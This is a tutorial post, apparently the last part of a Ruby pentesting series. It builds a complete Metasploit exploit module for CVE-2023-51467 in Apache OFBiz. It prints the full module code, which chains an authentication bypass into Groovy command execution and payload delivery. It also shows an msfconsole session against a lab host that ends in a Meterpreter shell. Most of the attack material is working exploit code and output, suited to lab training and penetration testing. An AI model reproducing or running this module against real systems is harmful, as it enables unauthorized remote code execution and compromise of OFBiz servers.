// Ruby for Pentesters · Part 10
Shipping it as a Metasploit module
The finale. A Metasploit module is just a Ruby class in the framework's shape — so we lift the exact OFBiz chain into one, and let the framework hand us HTTP, options, payloads, and a shell for free.
You’ve written the whole chain from scratch: recon, an auth bypass, RCE, a listener, looting, a cracker, a root shell, a packaged tool, and a test suite. Here’s the payoff — a Metasploit module is nothing but a Ruby class in a particular shape. Everything you learned transfers directly. The framework already owns the tedious parts (the HTTP client, option parsing, payload generation, session handling), so the module is mostly the OFBiz logic you already wrote, snapped into its slots.
The shape of a module
Every module is a class named MetasploitModule that inherits from a framework
base and mixes in the capabilities it needs:
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'
< Msf::Exploit::Remoteis inheritance — the sameclass X < Yfrom Part 7, exceptYis Metasploit’s remote-exploit base, which bringscheck,exploit,datastore, and the rest.include ...HttpClientis a mixin: it grafts methods likesend_request_cgistraight into our class, so we never rebuildNet::HTTPagain.Rankadvertises reliability;BYPASSis the same constant, carried over unchanged.
Metadata: initialize
initialize is the constructor you met in Part 7. Here it calls super with a
metadata hash — update_info — that tells the framework what the module is and
which options it takes:
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache OFBiz Authentication Bypass Groovy RCE',
'Description' => %q{
Exploits CVE-2023-51467 in Apache OFBiz. Empty credentials with
requirePasswordChange=Y bypass authentication, reaching the
ProgramExport screen, which runs attacker-supplied Groovy and yields
command execution as the ofbiz service user.
},
'Author' => ['zerodayoutlaw'],
'License' => MSF_LICENSE,
'References' => [['CVE', '2023-51467']],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Apache OFBiz', {}]],
'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true },
'DisclosureDate' => '2023-12-26'
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base OFBiz path', '/'])
])
end
That hash is just data — the same kind of key/value structure from Part 3.
Declaring ARCH_CMD and a References entry for the CVE is what lets RHOST,
RPORT, SSL, and payload selection appear as options in msfconsole without a
line of parsing code from us. Part 7’s OptionParser did this by hand; the
framework does it from metadata.
register_options adds your own options on top. OptString.new('TARGETURI',
[true, 'Base OFBiz path', '/']) declares a required string option named
TARGETURI, described for --help, defaulting to / — the framework equivalent
of Part 7’s opts.on('--target', ...). The user sets it with set TARGETURI /,
and we read it back as target_uri.path.
The two methods that matter
A remote exploit overrides two methods: check (is the target vulnerable?) and
exploit (fire). Both lean on one small helper that POSTs Groovy — the exact
move from Part 3, now over the framework’s HTTP client:
def check
res = groovy("throw new Exception('id'.execute().text)")
return CheckCode::Safe unless res&.body&.include?('uid=')
print_good('OFBiz ran our Groovy — target is vulnerable')
CheckCode::Vulnerable
end
def exploit
print_status("Sending Groovy payload to #{datastore['RHOSTS']}")
groovy("throw new Exception(['bash', '-c', '#{payload.encoded}'].execute().text)")
end
def groovy(program)
uri = normalize_uri(target_uri.path, 'webtools', 'control', 'ProgramExport')
send_request_cgi(
'method' => 'POST',
'uri' => "#{uri}?#{BYPASS}",
'vars_post' => { 'groovyProgram' => program }
)
end
end
Look at what each piece maps to:
groovyis Part 3’srun, butsend_request_cgi(from the mixin) replaces the hand-builtpost—vars_postis the form hash, and the framework handles the connection and SSL.normalize_urijoinsTARGETURIwith the screen path into a clean URL, so no double slashes no matter what the user set.checkruns a harmlessidand reportsCheckCode::VulnerableorSafe— the same reflected-output read we did with a regex, now standardized.print_good/print_statusare the framework’s output API — the green[+]and blue[*]lines you see inmsfconsole, instead of rawputs.- In
exploit,payload.encodedis the star: instead of hardcoding a bash reverse shell like Part 4, the framework generates whatever payload the user picked and hands us the command string. Our Groovy just executes it.
Using it
Metasploit loads modules from ~/.msf4/modules/ mirroring its own tree, so save
the file as ~/.msf4/modules/exploits/linux/http/ofbiz_groovy_rce.rb (run
reload_all in an open console). From there it’s a first-class citizen:
msf6 > use exploit/linux/http/ofbiz_groovy_rce
msf6 exploit(ofbiz_groovy_rce) > set RHOSTS bizness.htb
msf6 exploit(ofbiz_groovy_rce) > set LHOST tun0
msf6 exploit(ofbiz_groovy_rce) > check
[+] The target is vulnerable.
msf6 exploit(ofbiz_groovy_rce) > run
[*] Sending stage...
[*] Meterpreter session 1 opened
meterpreter >
The listener from Part 4, the payload wiring, the session — all handed to you. You supplied only the OFBiz-specific logic, because that’s the only part Metasploit didn’t already know.
Where you landed
Ten parts ago this was Net::HTTP.get. You now know Ruby’s request client,
methods and constants, hashes, POST bodies, regex, sockets, threads, files,
Digest/Base64, thread pools and the GVL, running programs with Open3 and a
PTY, classes and encapsulation, OptionParser, testing with minitest, and how a
Metasploit module is assembled. More to the point, you learned them the
way they actually get used — by building a working exploit chain end to end and
turning it into a tool other people can run.
Takeaways
- A Metasploit module is a Ruby class (
MetasploitModule < Msf::Exploit::Remote) — inheritance and mixins (include), both plain Ruby. update_infometadata replaces hand-rolled option parsing: declareArch/Platform/references and the framework suppliesRHOST,RPORT, and payload options for free.- Override
checkandexploit;send_request_cgifrom theHttpClientmixin replaces your ownNet::HTTPplumbing, andprint_good/print_statusreplaceputs. register_options+OptStringdeclare your own options (likeTARGETURI) — the framework’s version of Part 7’sOptionParser;normalize_uribuilds tidy paths from them.payload.encodedlets the framework generate the payload, so your module carries only the target-specific logic — the OFBiz chain you built by hand.
Exercises
- Refactor the Groovy string-building into a private helper
wrap(cmd)that returns thethrow new Exception(...)payload, and call it from bothcheckandexploit— the same encapsulation lesson as Part 7, now in a module. - Have
checkprint the detectedidline withprint_statusbefore it returnsCheckCode::Vulnerable, so you see proof, not just a verdict. - Add a second option with
register_options— say anOptIntfor a request timeout — and read it back fromdatastore.
That’s the series. The same Ruby that scripted a one-off request scales all the way to a framework module — you’ve now walked the whole distance.